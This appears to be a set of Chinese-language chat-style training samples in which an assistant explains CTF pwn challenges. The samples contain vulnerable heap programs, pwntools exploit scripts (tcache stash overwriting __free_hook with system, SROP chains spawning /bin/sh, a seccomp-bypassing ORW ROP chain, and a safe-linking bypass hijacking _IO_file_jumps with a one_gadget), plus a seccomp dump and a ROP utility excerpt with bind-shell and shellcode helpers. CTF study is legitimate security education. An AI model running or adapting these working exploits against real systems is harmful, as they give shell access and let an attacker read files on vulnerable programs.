[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「源码」。
资料来源：Heap/tcache attack/tcache key/readme.md；主题：2.33堆申请规则；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 源码

```c
#include<stdio.h>
#include<stdlib.h>
char *heaparray[24];
int num=0;
void init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);

}
void create_heap() {
  int i;
  for (i = 0; i < 24; i++) {
    if (!heaparray[i]) {
      heaparray[i] = (char *)malloc(0x90);
      if (!heaparray[i]) {
        puts("error");
        exit(2);
      }
      puts("over\n");
      num++;
      break;
    }
  }
}
void delete_heap() {
  int idx;
  char buf[4];
  puts("idx");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= 24) {
    puts("error");
    exit(0);
  }
  if (heaparray[idx]) {
    free(heaparray[idx]);
    puts("over\n");
    num--;
  } else {
    puts("error\n");
  }
}
void show_item() {
  int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heaparray[idx]) {
    puts("no hvae things\n");
  } else {
    printf("Content:");
    printf("%s",heaparray[idx]);
  }
}
void edit_item(){
  int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heaparray[idx]) {
    puts("no hvae things\n");
  } else {
    puts("Content:");
    read(0,heaparray[idx], 0x90);
  }
}
void menu()
{
        puts("1. Get a page");
        puts("2. Take out");
        puts("3. Read page");
        puts("4. edit a page");
}
void main()
{
  init();
  int i;
  while(1)
  {
    menu();
    scanf("%d",&i);
    switch(i)
    {
      case 1:create_heap();break;
      case 2:delete_heap();break;
      case 3:show_item();break;
      case 4:edit_item();break;
      default:puts("error");break;
    }
  }
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/tcache attack/tcache dup/pwn.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/tcache attack/tcache dup/pwn.c`

分类：heap

语言：c

环境/依赖线索：
- `#include<stdlib.h>`
- `#include <stdio.h>`
- `#include <unistd.h>`

函数/封装：
- `add_chunk`
- `delete_chunk`
- `edit_chunk`
- `get_num`
- `main`
- `menu`
- `show_chunk`

利用主题关键词：
- heap/tcache
- seccomp/orw

关键常量/偏移样例：
`0x100`

训练用代码片段：
```c
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「原理」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 原理

calloc 申请内存不会从 tcache 中获取，而是从 fast bin 中获取。取完后，会将 fast bin 中的 chunk 放入 tcache 中。如果修改 fast bin 中 chunk 的 fd 指针，则会在 fd + 0x10 地址处写入一个较大的值。

利用思路：

申请八个相同大小的chunk，使得chunk8进入fastbin

malloc申请出chunk1为target在tcache留出空间，修改chunk8的fd指针为target-0x10构成fake chunk

calloc 申请出 chunk8，fake chunk 进入tcache，target 被写入 chunk2 的地址

如果是使用 malloc 可以先消耗完 tcache 中的 chunk 然后再触发 stash 机制完成攻击。不过为了防止 target 的 fd 指向无效地址，需要在 fast bin 中预留另外 6 个 chunk 来填满 tcache 。

```python
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

p = process([elf.path])

def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))

def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))

def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)

def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))

add_chunk(0, 0x410)
add_chunk(1, 0x10)
delete_chunk(0)
add_chunk(0, 0x410)
show_chunk(0)
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - 0x3b6be0
info("libc base: " + hex(libc.address))
for i in range(14): add_chunk(i, 0x50)
for i in range(14): delete_chunk(i)
add_chunk(0, 0x50)
delete_chunk(7)
add_chunk(7, 0x50)
edit_chunk(7, p64(libc.sym['__free_hook'] - 0x10))
for i in range(1, 7): add_chunk(i, 0x50)
add_chunk(7, 0x50)
add_chunk(7, 0x50)
edit_chunk(7, p64(libc.sym['system']))
edit_chunk(0,'/bin/sh\x00')
delete_chunk(0)


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「例题」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 例题

> NewStar 2023 srop

vuln 函数存在一个很大的溢出。

[图片: image]

存在将`rax`寄存器置为`0xf`的gadget。

[图片: image]

目前的 pwntools 中已经集成了对于 srop 的攻击。

```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
context(os=elf.os, arch=elf.arch, log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '""', 'wt.exe', 'wsl', '-e', 'bash', '-lc']

pop_rdi = 0x0000000000401203

bss = 0x404800
pay = b'\x00'*0x30 + flat(bss, 0x401171)
s(pay.ljust(0x300, b'\x00'))

syscall = 0x401040
#read /bin/sh
sh = 0x404800
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 59
frame.rsi = bss - 0x10
frame.rdx = 0
frame.rsp = bss - 0x40
frame.rip = syscall

pay = b"/bin/sh\x00"*6 + flat(0x404f00,pop_rdi,15,syscall,frame)

r()
s(pay.ljust(0x300,b"\x00"))

ia()

```

>rootersctf_2019_srop

srop链

check 一下保护，只开启了 NX。

```python
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
```

[图片: image]

调用了一个 sub_401000 之后，系统调用 exit 退出。

跟进：

程序先用 write 打印字符，然后再通过 read 读取数据，存在栈溢出。

[图片: image]

buf 位于 data 段，可以被写入数据。

[图片: image]

这里无法泄露栈地址，所以只能通过构造 srop 链的方式来利用。

利用思路：先构造一个伪造的栈空间将 /bin/sh 写入 data 段，之后再进行一次 srop 调用 execve 从而 getshell。

+ exp

```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('rootersctf_2019_srop')
io = process([elf.path])
context(os=elf.os, arch=elf.arch, log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '""', 'wt.exe', 'wsl', '-e', 'bash', '-lc']

syscall_ret=0x0000000000401033
pop_syscall=0x0000000000401032
buf=0x0000000000402000

#fake stack
sigFrame=SigreturnFrame()
sigFrame.rax=0
sigFrame.rdi=0
sigFrame.rbp=buf+0x20
sigFrame.rsi=buf
sigFrame.rdx=0x1000
sigFrame.rip=syscall_ret

ru('?')
pl=b'a'*0x88+p64(pop_syscall)+p64(15)+bytes(sigFrame)
sl(pl)

sigFrame=SigreturnFrame()
sigFrame.rax=59
sigFrame.rdi=buf
sigFrame.rsi=0
sigFrame.rdx=0
sigFrame.rip=syscall_ret

pl2=b'/bin/sh\00'
pl2=pl2.ljust(0x28,b'A')
pl2 += p64(pop_syscall)+p64(15)+bytes(sigFrame)
sl(pl2)
ia()
```

> [V&N2020 公开赛]babybabypwn

orw+srop

check 一下保护，发现保护全开

```python
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
```

并且程序通过沙盒仅用了大量的系统调用导致无法通过 getshell 来利用，所以只能通过 orw 的形式来利用。

```python
❯ seccomp-tools dump ./vn_pwn_babybabypwn_1
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015
 0005: 0x15 0x09 0x00 0x00000009  if (A == mmap) goto 0015
 0006: 0x15 0x08 0x00 0x0000000a  if (A == mprotect) goto 0015
 0007: 0x15 0x07 0x00 0x00000029  if (A == socket) goto 0015
 0008: 0x15 0x06 0x00 0x0000002a  if (A == connect) goto 0015
 0009: 0x15 0x05 0x00 0x00000031  if (A == bind) goto 0015
 0010: 0x15 0x04 0x00 0x00000032  if (A == listen) goto 0015
 0011: 0x15 0x03 0x00 0x00000038  if (A == clone) goto 0015
 0012: 0x15 0x02 0x00 0x00000039  if (A == fork) goto 0015
 0013: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0015
 0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0015: 0x06 0x00 0x00 0x00000000  return KILL
```

分析程序：

[图片: image]

主要代码逻辑：

泄露了 puts 的地址，然后 read 读取一段数据，但是不存在溢出。

[图片: image]

最后的 syscall(15) 就是：

```python
mov     edi, 0Fh
mov     eax, 0
call    _syscall
```

利用思路：接受 puts 地址从而计算 libc 基址，然后通过 sigFrame 伪造一个 fake_stack，之后再进行栈溢出从而 orw。

```python
from pwn import *
context.log_level='debug'
context.arch='amd64'

p=process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

s       = lambda data               :p.send(data)
ss      = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sls     = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
    gdb.attach(p,'b *$rebase(0x13aa)')
    pause()

ru('gift: ')
puts=int(r(14),16)
leak('puts',puts)

libcbase=puts-libc.symbols['puts']
leak('libcbase',libcbase)

open_addr=libcbase+libc.symbols['open']
leak('open_addr',open_addr)

read_addr=libcbase+libc.symbols['read']
leak('read_addr',read_addr)

write_addr=libcbase+libc.symbols['write']
leak('write_addr',write_addr)

bss=libcbase+libc.bss()
leak('bss',bss)

rdi_ret=libcbase+0x0000000000021112
leak('rdi_ret',rdi_ret)
rsi_ret=libcbase+0x00000000000202f8
leak('rsi_ret',rsi_ret)
rdx_ret=libcbase+0x0000000000001b92
leak('rdx_ret',rdx_ret)

buf_addr=bss+0x400

sigFrame=SigreturnFrame()
sigFrame.rdi=0
sigFrame.rip=read_addr
sigFrame.rsi=buf_addr
sigFrame.rdx=0x200
sigFrame.rsp=buf_addr
pl=str(sigFrame)[8:]

p.sendlineafter('Please input magic message: ',pl)
gdb.attach(p)
pause()

flag=buf_addr+0x98

pl1=p64(rdi_ret)+p64(flag)+p64(rsi_ret)+p64(0)+p64(open_addr) #open
pl1+=p64(rdi_ret)+p64(3)+p64(rsi_ret)+p64(bss+0x200)+p64(rdx_ret)+p64(0x100)+p64(read_addr) #read
pl1+=p64(rdi_ret)+p64(1)+p64(rsi_ret)+p64(bss+0x200)+p64(rdx_ret)+p64(0x100)+p64(write_addr) #write
pl1+='flag\00'

s(pl1)

p.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2dlresolve/2015-xdctf-pwn200/roputils.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2dlresolve/2015-xdctf-pwn200/roputils.py`

分类：stack

语言：python

环境/依赖线索：
- `import sys`
- `import os`
- `import re`
- `import struct`
- `import socket`
- `import select`
- `import random`
- `import tempfile`
- `from subprocess import Popen, PIPE`
- `from threading import Thread, Event`
- `from telnetlib import Telnet`
- `from contextlib import contextmanager`

函数/封装：
- `Asm`
- `ELF`
- `FormatStr`
- `Pattern`
- `Proc`
- `ROP`
- `ROP_ARM`
- `ROP_I386`
- `ROP_X86_64`
- `Shellcode`
- `__init__`
- `_f`
- `addr`
- `align`
- `alnum_stager`
- `assemble`
- `bind_shell`
- `calc_offset`
- `call`
- `call_chain`

利用主题关键词：
- io-file/fsop
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x100`, `0x1c8`, `0xFFFF`, `0x10000`

训练用代码片段：
```python
#!/usr/bin/env python

import sys
import os
import re
import struct
import socket
import select
import random
import tempfile
from subprocess import Popen, PIPE
from threading import Thread, Event
from telnetlib import Telnet
from contextlib import contextmanager

def int16(x):
    if isinstance(x, (list, tuple)):
        return [int(n, 16) for n in x]
    else:
        return int(x, 16)

def p32(x):
    if isinstance(x, str):
        return struct.unpack('<I', x)[0]
    elif isinstance(x, (list, tuple)):
        return struct.pack('<' + ('I' * len(x)), *x)
    else:
        return struct.pack('<I', x)

def p64(x):
    if isinstance(x, str):
        return struct.unpack('<Q', x)[0]
    elif isinstance(x, (list, tuple)):
        return struct.pack('<' + ('Q' * len(x)), *x)
    else:
        return struct.pack('<Q', x)

class ELF(object):
    def __init__(self, fpath, base=0):
        def env_with(d):
            env = os.environ.copy()
            env.update(d)
            return env

        self.fpath = fpath
        self.base = base
        self.sec = dict(
            relro=False,
            bind_now=False,
            stack_canary=False,
            nx=False,
            pie=False,
            rpath=False,
            runpath=False,
            dt_debug=False)

        if not os.path.exists(fpath):
            raise Exception("file not found: %r" % fpath)

        self._entry_point = None
        self._section = {}
        self._dynamic = {}
        self._got = {}
        self._plt = {}
        self._symbol = {}
        self._load_blobs = []
        self._string = {}

        regexp = {
            'section':
            r'^\s*\[(?P<Nr>[^\]]+)\]\s+(?P<Name>\S+)\s+(?P<Type>\S+)\s+(?P<Address>\S+)\s+(?P<Off>\S+)\s+(?P<Size>\S+)\s+(?P<ES>\S+)\s+(?P<Flg>\S+)\s+(?P<Lk>\S+)\s+(?P<Inf>\S+)\s+(?P<Al>\S+)$',
            'program':
            r'^\s*(?P<Type>\S+)\s+(?P<Offset>\S+)\s+(?P<VirtAddr>\S+)\s+(?P<PhysAddr>\S+)\s+(?P<FileSiz>\S+)\s+(?P<MemSiz>\S+)\s+(?P<Flg>.{3})\s+(?P<Align>\S+)$',
            'dynamic':
            r'^\s*(?P<Tag>\S+)\s+\((?P<Type>[^)]+)\)\s+(?P<Value>.+)$',
            'reloc':
            r'^\s*(?P<Offset>\S+)\s+(?P<Info>\S+)\s+(?P<Type>\S+)\s+(?P<Value>\S+)\s+(?P<Name>\S+)(?: \+ (?P<AddEnd>\S+))?$',
            'symbol':
            r'^\s*(?P<Num>[^:]+):\s+(?P<Value>\S+)\s+(?P<Size>\S+)\s+(?P<Type>\S+)\s+(?P<Bind>\S+)\s+(?P<Vis>\S+)\s+(?P<Ndx>\S+)\s+(?P<Name>\S+)',
            'string':
            r'([\s\x21-\x7e]{4,})\x00',
        }
        plt_size_map = {
            'i386': (0x10, 0x10),
            'x86-64': (0x10, 0x10),
            'arm': (0x14, 0xc),

# ... 中间内容省略，保留关键利用片段 ...

class Shellcode(object):
            raise Exception("unsupported shellcode for %s architecture: %r" %
        with tempfile.NamedTemporaryFile(delete=False) as f:
                "output shellcode as hexstring\n\nUsage: python %s sc ARCH/NAME [ARG...]"
        s = getattr(Shellcode(arch), name).__call__(*args)
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「Why it does not directly solve pro」。
资料来源：Kernel/2026d3ctf-d3kheap2pro/WEB_REFERENCE_NOTES.md；主题：Internet reference notes for d3kheap2pro；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## Why it does not directly solve pro

The author writeup notes the original challenge did not enable `CONFIG_SLAB_BUCKETS` and even mentions forgetting `CONFIG_MEMCG`. This pro kernel has both plus `CONFIG_RANDOM_KMALLOC_CACHES`, which changes the reclaim assumptions.

Local config confirms:

```text
CONFIG_MEMCG=y
CONFIG_SLAB_BUCKETS=y
CONFIG_RANDOM_KMALLOC_CACHES=y
```

Therefore the public `msg_msg -> pipe_buffer` precision chain is a reference, not a drop-in solve.


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Seccomp绕过/2025gxqs-shellcode/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Seccomp绕过/2025gxqs-shellcode/exp.py`

分类：seccomp

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `dbg`

利用主题关键词：
- seccomp/orw

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('vuln')
libc=elf.libc
io = process([elf.path])
context(os=elf.os, arch=elf.arch, log_level='debug')
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `IO-FILE/[CISCN 2022 华东北]duck/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`IO-FILE/[CISCN 2022 华东北]duck/exp.py`

分类：io_file

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `add`
- `dbg`
- `dele`
- `edit`
- `show`

利用主题关键词：
- heap/tcache
- io-file/fsop
- stack/rop
- safe-linking

关键常量/偏移样例：
`0x8f0`, `0xda861`, `0xda864`, `0xda867`, `0x1f2cc0`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
libc = ELF('./libc.so.6')
context(os=elf.os, arch=elf.arch, log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '""', 'wt.exe', 'wsl', '-e', 'bash', '-lc']

menu = 'Choice: '

def add():
    io.sendlineafter(menu, '1')

def show(index):
    io.sendlineafter(menu, '3')
    io.sendlineafter('Idx:', str(index))

def dele(index):
    io.sendlineafter(menu, '2')
    io.sendlineafter('Idx:', str(index))

def edit(index, size, content):
    sa(menu,b'4')
    sa(b'Idx: ',index)
    sa(b'Size: ',size)
    sa(b'Content: ',content)

# tcache leak heap addr
add()
dele(0)
show(0)
r()
heap_base = u64(ru("\x0a")[-6:-1].ljust(8, b'\x00'))<<12
lg("heap_base = " , heap_base)

# unosrtedbin leak libc addr
for i in range(9):
    add()
for i in range(1,9):
    dele(i)

show(8)
r()
libc_addr = u64(r(6).ljust(8, b'\x00'))-0x1f2cc0
lg('libc_addr', libc_addr)

one_gadget = [0xda861,0xda864,0xda867]
lg("one_gadget",(one_gadget[0]+libc_addr))
_IO_file_jumps = libc_addr + libc.symbols['_IO_file_jumps']

target = ((heap_base + 0x8f0) >> 12) ^ (_IO_file_jumps) # Safe-Linking
lg("target", target)

dbg()
edit(b'7',b'8',p64(target))

add()
add()

edit(b'11',b'64',p64(0)*3 + p64((one_gadget[1]+libc_addr)))

ia()
```